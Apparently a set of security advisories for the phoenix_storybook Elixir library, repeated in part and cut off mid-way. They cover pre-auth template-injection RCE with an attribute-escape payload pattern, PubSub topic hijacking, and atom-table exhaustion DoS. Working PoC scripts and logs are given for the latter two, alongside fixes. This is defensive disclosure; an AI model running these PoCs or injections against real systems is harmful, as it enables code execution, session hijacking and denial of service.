4. The server evaluates the injected expression and returns its output in the rendered response.

No authentication, no special configuration, and no user interaction are required.

Impact

This is a pre-authentication remote code execution vulnerability. Any user able to reach the storybook endpoint, including unauthenticated internet users if the storybook is publicly deployed, can execute arbitrary operating system commands with the privileges of the server process. All versions of phoenix_storybook from 0.5.0 before 1.1.0 are affected.

Resources

• Introduction Commit: https://github.com/phenixdigital/phoenix_storybook/commit/e35379dfe2ef1a71b141899e36f431017c55265d
• Patch Commit: https://github.com/phenixdigital/phoenix_storybook/commit/56ab8464d4375fa52db806148a06cce126ad481d

Summary

The storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process — a cross-session information leak.

Likely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7

Details

PhoenixStorybook.Story.ComponentIframeLive.handle_params/3 (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from params["topic"] and broadcasts on it:

if topic = params["topic"] do
  Phoenix.PubSub.broadcast!(
    PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()}
  )
end

The shared PhoenixStorybook.PubSub is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the {:component_iframe_pid, _} message, and then uses send/2 to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid.

Because the iframe trusts the query parameter, an attacker who loads /storybook/iframe/<story>?topic=<victim_topic> in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in handle_info/2. There is no authentication, ownership check, or binding between the topic and the requesting session.

The fix is to stop accepting the topic from the query string — derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed.

PoC

The attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via live_storybook("/storybook", backend_module: MyStorybook). The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP GET /storybook/iframe/<story>?topic=<victim_topic>, which mounts ComponentIframeLive and triggers the vulnerable handle_params/3 call site shown above.

To simulate a legitimate playground, the script spawns a "victim" process that calls Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic) with a freshly generated secret topic. The attacker session — completely separate, with no shared cookies or auth — then issues a single Req.get! to the iframe URL with ?topic=<victim_topic> URL-encoded onto the query string. Inside the iframe LiveView, params["topic"] is the attacker-supplied value, and Phoenix.PubSub.broadcast!/3 delivers {:component_iframe_pid, self()} to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic.

The victim process pattern-matches on {:component_iframe_pid, attacker_iframe_pid} and forwards it to the test harness. The script prints VERIFIED: attacker-controlled "?topic=" query param caused PubSub broadcast onto victim's private topic along with the leaked pid when the cross-session message arrives, and NOT VERIFIED if nothing arrives within the timeout. The full script is attached below under "Scripts and Logs".

Impact

Cross-session information disclosure and message injection in any application that exposes phoenix_storybook over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages — variation state, theme changes, and any developer-wired extra assigns — to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic.

Scripts and Logs

# Verifies: Cross-session PubSub topic injection via URL parameter
#
# Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs
#
# Threat model: an outside attacker who can browse the storybook iframe URL.
# They open `/storybook/iframe/<story>?topic=<victim_topic>` in their own
# browser. The iframe LiveView's handle_params broadcasts
# `{:component_iframe_pid, self()}` on whatever topic the attacker put in the
# query string. A victim's playground that subscribed to `victim_topic`
# (legitimately, for its own iframe) receives the attacker's iframe pid and
# will subsequently address its private control messages to that pid.
#
# This PoC stands up a real Phoenix endpoint + the library's own router, has a
# "victim" process Phoenix.PubSub.subscribe to a secret topic, then makes a
# plain HTTP GET to the iframe URL with `?topic=<secret>` from an attacker
# session. If the victim receives the iframe pid, the topic was successfully
# hijacked.

Mix.install([
  {:phoenix_storybook, "1.0.0"},
  {:phoenix_live_view, "~> 1.0"},
  {:bandit, "~> 1.5"},
  {:req, "~> 0.5"},
  {:jason, "~> 1.4"}
])

# ----- 1. Minimum on-disk story so the iframe LV actually mounts. -----
tmp = Path.join(System.tmp_dir!(), "psb_poc_#{System.unique_integer([:positive])}")
File.mkdir_p!(tmp)

File.write!(Path.join(tmp, "demo.story.exs"), """
defmodule Storybook.Demo do
  use PhoenixStorybook.Story, :component
  def function, do: &Phoenix.Component.link/1
  def variations do
    [%Variation{id: :default, attributes: %{navigate: "/x"}, slots: ["hi"]}]
  end
end
""")

# ----- 2. Storybook backend + Phoenix endpoint/router. -----
expanded_content_path = Path.expand(tmp)

Module.create(
  MyStorybook,
  quote do
    use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path)
  end,
  Macro.Env.location(__ENV__)
)

defmodule MyRouter do
  use Phoenix.Router
  import Phoenix.LiveView.Router
  import PhoenixStorybook.Router

  scope "/" do
    live_storybook("/storybook", backend_module: MyStorybook)
  end
end

poc_port = Enum.random(20_000..30_000)

Application.put_env(:psb_poc, MyEndpoint,
  http: [ip: {127, 0, 0, 1}, port: poc_port],
  server: true,
  secret_key_base: String.duplicate("a", 64),
  live_view: [signing_salt: "12345678"],
  pubsub_server: PhoenixStorybook.PubSub,
  adapter: Bandit.PhoenixAdapter,
  check_origin: false
)

defmodule MyEndpoint do
  use Phoenix.Endpoint, otp_app: :psb_poc

  @session_options [
    store: :cookie,
    key: "_psb_poc_key",
    signing_salt: "12345678",
    same_site: "Lax"
  ]

  socket "/live", Phoenix.LiveView.Socket, websocket: true
  plug Plug.Session, @session_options
  plug :fetch_query_params_plug
  plug MyRouter

  def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn)
end

# ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). -----
{:ok, _} = MyEndpoint.start_link()

base = "http://127.0.0.1:#{poc_port}"

# ----- 4. Victim subscribes to its private playground topic. -----
victim_topic = "playground-secret-#{:erlang.unique_integer([:positive])}"
victim = self()

# A separate process plays the role of the victim's playground LV. It
# subscribes to its own topic — exactly what PlaygroundLive does when the
# legitimate user opens their playground page.
victim_pid =
  spawn_link(fn ->
    :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)
    send(victim, :victim_ready)

    receive do
      {:component_iframe_pid, attacker_iframe_pid} ->
        send(victim, {:victim_got, attacker_iframe_pid})
    after
      5_000 -> send(victim, :victim_timeout)
    end
  end)

receive do
  :victim_ready -> :ok
after
  2_000 -> raise "victim subscribe timed out"
end

# ----- 5. Attacker, in a completely unrelated session, hits the iframe URL
#         with ?topic=<victim's secret topic>. -----
attacker_url =
  base <>
    "/storybook/iframe/demo?topic=" <> URI.encode_www_form(victim_topic)

_resp = Req.get!(attacker_url, retry: false)

# ----- 6. Observe the cross-session leak. -----
outcome =
  receive do
    {:victim_got, leaked_pid} -> {:leaked, leaked_pid}
    :victim_timeout -> :no_leak
  after
    6_000 -> :no_leak
  end

# ----- 7. Tear down. -----
:ok = Supervisor.stop(MyEndpoint, :normal)
File.rm_rf!(tmp)
if Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill)

case outcome do
  {:leaked, pid} ->
    IO.puts("Victim received iframe pid: #{inspect(pid)}")
    IO.puts("Victim's topic was: #{victim_topic} (never shared with attacker session)")
    IO.puts("Attacker only needed to know/guess that topic to hijack the pid handshake.")
    IO.puts("VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic")

  :no_leak ->
    IO.puts("NOT VERIFIED: no cross-session message observed within timeout")
end

Logs

11:56:17.598 [warning] Can't resolve priv dir for application psb_poc

11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http)

11:56:17.750 [info] Access MyEndpoint at http://localhost:26466

11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0
  Parameters: %{"story" => ["demo"], "topic" => "playground-secret-8"}
  Pipelines: [:storybook_browser]
Victim received iframe pid: #PID<0.598.0>
Victim's topic was: playground-secret-8 (never shared with attacker session)
Attacker only needed to know/guess that topic to hijack the pid handshake.
VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic

Summary

An attacker who can deliver psb-assign, psb-toggle, psb-set-theme, upper-tab-navigation, lower-tab-navigation, playground-change, or playground-toggle LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.

Tabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395

Details

PhoenixStorybook.Story.Playground and PhoenixStorybook.ExtraAssignsHelpers converts user-supplied event params into atoms without checking whether the atoms already exist:

• handle_set_variation_assign/3 (lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59) iterates the event params map and calls String.to_atom/1 on every key.
• handle_toggle_variation_assign/3 (line 73) calls String.to_atom/1 on the "attr" value supplied by the client.
• to_variation_id/2 (lines 90, 93) calls String.to_atom/1 on each element of "variation_id".
• to_value/4 (lines 106, 107) calls String.to_atom/1 on the raw string value for any attribute declared as :atom or :boolean.

The existing guards do not help: check_type!/3 for :boolean inspects the atom after String.to_atom/1 has already interned it, so the leak has already happened. The :atom branch only checks is_atom/1, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.

The fix is to use String.to_existing_atom/1 (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared story.attributes() / variation registry and reuse the atom from there.

PoC

The attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver psb-assign events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3 (see lib/phoenix_storybook/live/story/playground_preview_live.ex), so the script calls that helper directly with attacker-shaped params — a stub FakeStory providing an empty attributes/0 list and a single :default variation, plus an extra_assigns map keyed by {:single, :default}.

Each simulated request is a params map with 5,000 unique keys of the form "psb_evil_<nonce>_<r>_<i>". Because the helper does for {key, value} <- params, ..., do: {String.to_atom(key), ...}, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into :erlang.system_info(:atom_limit) and crashes the VM.

The script measures :erlang.system_info(:atom_count) before and after, prints the delta and the atom limit, and prints VERIFIED: … when the delta is at least requests * attrs_per_request (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event.

The full script is attached below under "Scripts and Logs".

Impact

Unauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of psb-assign / psb-toggle events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.

Scripts and Logs

# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)
#
# Run with:
#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs
#
# Threat model: an outside attacker who can deliver `psb-assign` events to a
# mounted storybook view supplies attacker-controlled param maps. The library's
# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`
# is the documented entry point that LiveView event handlers feed those params
# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The
# helper interns every key of `params` with `String.to_atom/1`, so unique
# attacker strings each create a permanent atom.

Mix.install([{:phoenix_storybook, "1.0.0"}])

alias PhoenixStorybook.ExtraAssignsHelpers
alias PhoenixStorybook.Stories.Variation

defmodule FakeStory do
  def attributes, do: []
  def variations, do: [%Variation{id: :default, attributes: %{}}]
end

extra_assigns = %{{:single, :default} => %{}}

# Each request from the attacker is one params map. Use 5_000 unique attribute
# names per request, across 5 requests = 25_000 distinct atoms permanently
# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)
nonce = System.unique_integer([:positive])
requests = 5
attrs_per_request = 5_000

before_count = :erlang.system_info(:atom_count)

for r <- 1..requests do
  attacker_params =
    for i <- 1..attrs_per_request, into: %{"variation_id" => "default"} do
      {"psb_evil_#{nonce}_#{r}_#{i}", "x"}
    end

  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)
end

after_count = :erlang.system_info(:atom_count)
delta = after_count - before_count

IO.puts("atom_count before: #{before_count}")
IO.puts("atom_count after:  #{after_count}")
IO.puts("delta:             #{delta}")
IO.puts("atom_limit:        #{:erlang.system_info(:atom_limit)}")

expected = requests * attrs_per_request

if delta >= expected do
  IO.puts(
    "VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM."
  )
else
  IO.puts("NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})")
end

Logs

atom_count before: 26341
atom_count after:  51361
delta:             25020
atom_limit:        1048576
VERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.

Summary

An unsafe HEEx template generation vulnerability allows any unauthenticated user to execute arbitrary code on the server. The phoenix_storybook playground accepts user-controlled attribute values over WebSocket and interpolates them unsanitized into a HEEx template that is subsequently compiled and evaluated with full Elixir Kernel access.

Details

The vulnerability is a three-step chain:

1. Unsanitized WebSocket input (extra_assigns_helpers.ex) The psb-assign event handler in PhoenixStorybook.Story.PlaygroundPreviewLive accepts arbitrary attribute names and values from unauthenticated WebSocket clients and stores them verbatim via ExtraAssignsHelpers.handle_set_variation_assign/3.

2. Unescaped interpolation into HEEx (component_renderer.ex) ComponentRenderer.attributes_markup/1 builds a HEEx template string by interpolating binary attribute values directly:

{name, val} when is_binary(val) ->
  ~s|#{name}="#{val}"|

No escaping of " or { is performed. A value such as foo" injected={EXPR} bar=" breaks out of the attribute string and injects EXPR as an inline HEEx expression.

3. Unsandboxed evaluation (component_renderer.ex) The resulting HEEx string is compiled via EEx.compile_string/2 and evaluated via Code.eval_quoted_with_env/3 with full Kernel imports and no sandbox. The injected expression executes on the server even if it causes a rendering error.

PoC

1. Identify any story URL with a Playground tab (e.g. /storybook/core_components/button).
2. Connect to the Phoenix LiveView WebSocket without any authentication.
3. Join the story's LiveView channel and send a psb-assign event with an attribute value that escapes the HEEx attribute context and embeds an Elixir expression (e.g. a System.cmd/2 call).
4. The server evaluates the injected expression and returns its output in the rendered response.

No authentication, no special configuration, and no user interaction are required.

Impact

This is a pre-authentication remote code execution vulnerability. Any user able to reach the storybook endpoint, including unauthenticated internet users if the storybook is publicly deployed, can execute arbitrary operating system commands with the privileges of the server process. All versions of phoenix_storybook from 0.5.0 before 1.1.0 are affected.

Resources

• Introduction Commit: https://github.com/phenixdigital/phoenix_storybook/commit/e35379dfe2ef1a71b141899e36f431017c55265d
• Patch Commit: https://github.com/phenixdigital/phoenix_storybook/commit/56ab8464d4375fa52db806148a06cce126ad481d

Summary

The storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process — a cross-session information leak.

Likely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7

Details

PhoenixStorybook.Story.ComponentIframeLive.handle_params/3 (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from params["topic"] and broadcasts on it:

if topic = params["topic"] do
  Phoenix.PubSub.broadcast!(
    PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()}
  )
end

The shared PhoenixStorybook.PubSub is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the {:component_iframe_pid, _} message, and then uses send/2 to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid.

Because the iframe trusts the query parameter, an attacker who loads /storybook/iframe/<story>?topic=<victim_topic> in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in handle_info/2. There is no authentication, ownership check, or binding between the topic and the requesting session.

The fix is to stop accepting the topic from the query string — derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed.

PoC

The attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via live_storybook("/storybook", backend_module: MyStorybook). The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP GET /storybook/iframe/<story>?topic=<victim_topic>, which mounts ComponentIframeLive and triggers the vulnerable handle_params/3 call site shown above.

To simulate a legitimate playground, the script spawns a "victim" process that calls Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic) with a freshly generated secret topic. The attacker session — completely separate, with no shared cookies or auth — then issues a single Req.get! to the iframe URL with ?topic=<victim_topic> URL-encoded onto the query string. Inside the iframe LiveView, params["topic"] is the attacker-supplied value, and Phoenix.PubSub.broadcast!/3 delivers {:component_iframe_pid, self()} to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic.

The victim process pattern-matches on {:component_iframe_pid, attacker_iframe_pid} and forwards it to the test harness. The script prints VERIFIED: attacker-controlled "?topic=" query param caused PubSub broadcast onto victim's private topic along with the leaked pid when the cross-session message arrives, and NOT VERIFIED if nothing arrives within the timeout. The full script is attached below under "Scripts and Logs".

Impact

Cross-session information disclosure and message injection in any application that exposes phoenix_storybook over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages — variation state, theme changes, and any developer-wired extra assigns — to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic.

Scripts and Logs

# Verifies: Cross-session PubSub topic injection via URL parameter
#
# Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs
#
# Threat model: an outside attacker who can browse the storybook iframe URL.
# They open `/storybook/iframe/<story>?topic=<victim_topic>` in their own
# browser. The iframe LiveView's handle_params broadcasts
# `{:component_iframe_pid, self()}` on whatever topic the attacker put in the
# query string. A victim's playground that subscribed to `victim_topic`
# (legitimately, for its own iframe) receives the attacker's iframe pid and
# will subsequently address its private control messages to that pid.
#
# This PoC stands up a real Phoenix endpoint + the library's own router, has a
# "victim" process Phoenix.PubSub.subscribe to a secret topic, then makes a
# plain HTTP GET to the iframe URL with `?topic=<secret>` from an attacker
# session. If the victim receives the iframe pid, the topic was successfully
# hijacked.

Mix.install([
  {:phoenix_storybook, "1.0.0"},
  {:phoenix_live_view, "~> 1.0"},
  {:bandit, "~> 1.5"},
  {:req, "~> 0.5"},
  {:jason, "~> 1.4"}
])

# ----- 1. Minimum on-disk story so the iframe LV actually mounts. -----
tmp = Path.join(System.tmp_dir!(), "psb_poc_#{System.unique_integer([:positive])}")
File.mkdir_p!(tmp)

File.write!(Path.join(tmp, "demo.story.exs"), """
defmodule Storybook.Demo do
  use PhoenixStorybook.Story, :component
  def function, do: &Phoenix.Component.link/1
  def variations do
    [%Variation{id: :default, attributes: %{navigate: "/x"}, slots: ["hi"]}]
  end
end
""")

# ----- 2. Storybook backend + Phoenix endpoint/router. -----
expanded_content_path = Path.expand(tmp)

Module.create(
  MyStorybook,
  quote do
    use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path)
  end,
  Macro.Env.location(__ENV__)
)

defmodule MyRouter do
  use Phoenix.Router
  import Phoenix.LiveView.Router
  import PhoenixStorybook.Router

  scope "/" do
    live_storybook("/storybook", backend_module: MyStorybook)
  end
end

poc_port = Enum.random(20_000..30_000)

Application.put_env(:psb_poc, MyEndpoint,
  http: [ip: {127, 0, 0, 1}, port: poc_port],
  server: true,
  secret_key_base: String.duplicate("a", 64),
  live_view: [signing_salt: "12345678"],
  pubsub_server: PhoenixStorybook.PubSub,
  adapter: Bandit.PhoenixAdapter,
  check_origin: false
)

defmodule MyEndpoint do
  use Phoenix.Endpoint, otp_app: :psb_poc

  @session_options [
    store: :cookie,
    key: "_psb_poc_key",
    signing_salt: "12345678",
    same_site: "Lax"
  ]

  socket "/live", Phoenix.LiveView.Socket, websocket: true
  plug Plug.Session, @session_options
  plug :fetch_query_params_plug
  plug MyRouter

  def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn)
end

# ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). -----
{:ok, _} = MyEndpoint.start_link()

base = "http://127.0.0.1:#{poc_port}"

# ----- 4. Victim subscribes to its private playground topic. -----
victim_topic = "playground-secret-#{:erlang.unique_integer([:positive])}"
victim = self()

# A separate process plays the role of the victim's playground LV. It
# subscribes to its own topic — exactly what PlaygroundLive does when the
# legitimate user opens their playground page.
victim_pid =
  spawn_link(fn ->
    :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)
    send(victim, :victim_ready)

    receive do
      {:component_iframe_pid, attacker_iframe_pid} ->
        send(victim, {:victim_got, attacker_iframe_pid})
    after
      5_000 -> send(victim, :victim_timeout)
    end
  end)

receive do
  :victim_ready -> :ok
after
  2_000 -> raise "victim subscribe timed out"
end

# ----- 5. Attacker, in a completely unrelated session, hits the iframe URL
#         with ?topic=<victim's secret topic>. -----
attacker_url =
  base <>
    "/storybook/iframe/demo?topic=" <> URI.encode_www_form(victim_topic)

_resp = Req.get!(attacker_url, retry: false)

# ----- 6. Observe the cross-session leak. -----
outcome =
  receive do
    {:victim_got, leaked_pid} -> {:leaked, leaked_pid}
    :victim_timeout -> :no_leak
  after
    6_000 -> :no_leak
  end

# ----- 7. Tear down. -----
:ok = Supervisor.stop(MyEndpoint, :normal)
File.rm_rf!(tmp)
if Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill)

case outcome do
  {:leaked, pid} ->
    IO.puts("Victim received iframe pid: #{inspect(pid)}")
    IO.puts("Victim's topic was: #{victim_topic} (never shared with attacker session)")
    IO.puts("Attacker only needed to know/guess that topic to hijack the pid handshake.")
    IO.puts("VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic")

  :no_leak ->
    IO.puts("NOT VERIFIED: no cross-session message observed within timeout")
end

Logs

11:56:17.598 [warning] Can't resolve priv dir for application psb_poc

11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http)

11:56:17.750 [info] Access MyEndpoint at http://localhost:26466

11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0
  Parameters: %{"story" => ["demo"], "topic" => "playground-secret-8"}
  Pipelines: [:storybook_browser]
Victim received iframe pid: #PID<0.598.0>
Victim's topic was: playground-secret-8 (never shared with attacker session)
Attacker only needed to know/guess that topic to hijack the pid handshake.
VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic

Summary

An attacker who can deliver psb-assign, psb-toggle, psb-set-theme, upper-tab-navigation, lower-tab-navigation, playground-change, or playground-toggle LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.

Tabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395

Details

PhoenixStorybook.Story.Playground and PhoenixStorybook.ExtraAssignsHelpers converts user-supplied event params into atoms without checking whether the atoms already exist:

• handle_set_variation_assign/3 (lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59) iterates the event params map and calls String.to_atom/1 on every key.
• handle_toggle_variation_assign/3 (line 73) calls String.to_atom/1 on the "attr" value supplied by the client.
• to_variation_id/2 (lines 90, 93) calls String.to_atom/1 on each element of "variation_id".
• to_value/4 (lines 106, 107) calls String.to_atom/1 on the raw string value for any attribute declared as :atom or :boolean.

The existing guards do not help: check_type!/3 for :boolean inspects the atom after String.to_atom/1 has already interned it, so the leak has already happened. The :atom branch only checks is_atom/1, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.

The fix is to use String.to_existing_atom/1 (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared story.attributes() / variation registry and reuse the atom from there.

PoC

The attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver psb-assign events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3 (see lib/phoenix_storybook/live/story/playground_preview_live.ex), so the script calls that helper directly with attacker-shaped params — a stub FakeStory providing an empty attributes/0 list and a single :default variation, plus an extra_assigns map keyed by {:single, :default}.

Each simulated request is a params map with 5,000 unique keys of the form "psb_evil_<nonce>_<r>_<i>". Because the helper does for {key, value} <- params, ..., do: {String.to_atom(key), ...}, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into :erlang.system_info(:atom_limit) and crashes the VM.

The script measures :erlang.system_info(:atom_count) before and after, prints the delta and the atom limit, and prints VERIFIED: … when the delta is at least requests * attrs_per_request (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event.

The full script is attached below under "Scripts and Logs".

Impact

Unauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of psb-assign / psb-toggle events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.

Scripts and Logs

# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)
#
# Run with:
#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs
#
# Threat model: an outside attacker who can deliver `psb-assign` events to a
# mounted storybook view supplies attacker-controlled param maps. The library's
# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`
# is the documented entry point that LiveView event handlers feed those params
# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The
# helper interns every key of `params` with `String.to_atom/1`, so unique
# attacker strings each create a permanent atom.

Mix.install([{:phoenix_storybook, "1.0.0"}])

alias PhoenixStorybook.ExtraAssignsHelpers
alias PhoenixStorybook.Stories.Variation

defmodule FakeStory do
  def attributes, do: []
  def variations, do: [%Variation{id: :default, attributes: %{}}]
end

extra_assigns = %{{:single, :default} => %{}}

# Each request from the attacker is one params map. Use 5_000 unique attribute
# names per request, across 5 requests = 25_000 distinct atoms permanently
# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)
nonce = System.unique_integer([:positive])
requests = 5
attrs_per_request = 5_000

before_count = :erlang.system_info(:atom_count)

for r <- 1..requests do
  attacker_params =
    for i <- 1..attrs_per_request, into: %{"variation_id" => "default"} do
      {"psb_evil_#{nonce}_#{r}_#{i}", "x"}
    end

  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)
end

after_count = :erlang.system_info(:atom_count)
delta = after_count - before_count

IO.puts("atom_count before: #{before_count}")
IO.puts("atom_count after:  #{after_count}")
IO.puts("delta:             #{delta}")
IO.puts("atom_limit:        #{:erlang.system_info(:atom_limit)}")

expected = requests * attrs_per_request

if delta >= expected do
  IO.puts(
    "VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM."
  )
else
  IO.puts("NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})")
end

Logs

atom_count before: 26341
atom_count after:  51361
delta:             25020
atom_limit:        1048576
VERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.

Summary

An unsafe HEEx template generation vulnerability allows any unauthenticated user to execute arbitrary code on the server. The phoenix_storybook playground accepts user-controlled attribute values over WebSocket and interpolates them unsanitized into a HEEx template that is subsequently compiled and evaluated with full Elixir Kernel access.

Details

The vulnerability is a three-step chain:

1. Unsanitized WebSocket input (extra_assigns_helpers.ex) The psb-assign event handler in PhoenixStorybook.Story.PlaygroundPreviewLive accepts arbitrary attribute names and values from unauthenticated WebSocket clients and stores them verbatim via ExtraAssignsHelpers.handle_set_variation_assign/3.

2. Unescaped interpolation into HEEx (component_renderer.ex) ComponentRenderer.attributes_markup/1 builds a HEEx template string by interpolating binary attribute values directly:

{name, val} when is_binary(val) ->
  ~s|#{name}="#{val}"|

No escaping of " or { is performed. A value such as foo" injected={EXPR} bar=" breaks out of the attribute string and injects EXPR as an inline HEEx expression.

3. Unsandboxed evaluation (component_renderer.ex) The resulting HEEx string is compiled via EEx.compile_string/2 and evaluated via Code.eval_quoted_with_env/3 with full Kernel imports and no sandbox. The injected expression executes on the server even if it causes a rendering error.

PoC

1. Identify any story URL with a Playground tab (e.g. /storybook/core_components/button).
2. Connect to the Phoenix LiveView WebSocket without any authentication.
